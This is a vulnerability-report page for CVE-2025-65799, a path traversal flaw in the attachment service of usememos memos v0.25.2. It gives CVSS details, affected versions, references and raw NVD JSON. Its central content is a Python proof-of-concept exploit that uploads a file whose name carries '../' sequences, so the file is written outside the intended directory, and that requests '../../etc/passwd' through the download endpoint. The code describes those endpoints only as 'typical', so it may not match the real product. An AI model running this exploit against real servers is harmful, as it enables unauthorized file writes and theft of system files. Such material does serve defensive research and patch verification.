Security Vulnerability Report
中文
CVE-2025-65799 CVSS 4.3 MEDIUM

CVE-2025-65799

Published: 2025-12-08 17:16:21
Last Modified: 2025-12-09 17:15:32

Description

A lack of file name validation or verification in the Attachment service of usememos memos v0.25.2 allows attackers to execute a path traversal.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:usememos:memos:0.25.2:*:*:*:*:*:*:* - VULNERABLE
usememos memos < v0.25.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import urllib.parse # CVE-2025-65799 Path Traversal PoC for usememos memos v0.25.2 # Target: usememos memos Attachment Service def exploit_path_traversal(target_url, filename): """ Exploit path traversal vulnerability in usememos attachment upload Args: target_url: Base URL of the vulnerable usememos instance filename: Malicious filename with path traversal sequences Returns: Response from the server """ # Path traversal payload to write file outside intended directory malicious_filename = "../../../../../../../../" + filename # Prepare the file upload request files = { 'file': (malicious_filename, 'test content', 'text/plain') } # Upload endpoint (typical attachment upload endpoint) upload_url = f"{target_url}/api/attachment" try: response = requests.post(upload_url, files=files, timeout=10) return response except requests.exceptions.RequestException as e: print(f"Request failed: {e}") return None def read_file_via_traversal(target_url, file_path): """ Attempt to read arbitrary file via path traversal Args: target_url: Base URL of the vulnerable usememos instance file_path: Path to the file to read (e.g., /etc/passwd) Returns: File content if successful, None otherwise """ # Encode path traversal to access arbitrary file encoded_path = urllib.parse.quote(file_path) # Request the file via attachment download endpoint download_url = f"{target_url}/api/attachment/{encoded_path}" try: response = requests.get(download_url, timeout=10) if response.status_code == 200: return response.text else: return None except requests.exceptions.RequestException as e: print(f"Request failed: {e}") return None if __name__ == "__main__": # Target configuration target = "http://target-host:5230" # Example: Write file outside intended directory print("[*] Testing path traversal write...") result = exploit_path_traversal(target, "test.txt") if result: print(f"[*] Response status: {result.status_code}") # Example: Read sensitive file print("[*] Testing path traversal read...") content = read_file_via_traversal(target, "../../etc/passwd") if content: print(f"[*] File content:\n{content}") else: print("[-] Failed to read file")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65799", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:21.340", "lastModified": "2025-12-09T17:15:32.413", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A lack of file name validation or verification in the Attachment service of usememos memos v0.25.2 allows attackers to execute a path traversal."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-73"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:usememos:memos:0.25.2:*:*:*:*:*:*:*", "matchCriteriaId": "E673C3CA-3FAC-46BD-823A-BE91FCEAC154"}]}]}], "references": [{"url": "http://memos.com", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "http://usememos.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/usememos/memos/pull/5218", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://herolab.usd.de/security-advisories/usd-2025-0056/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}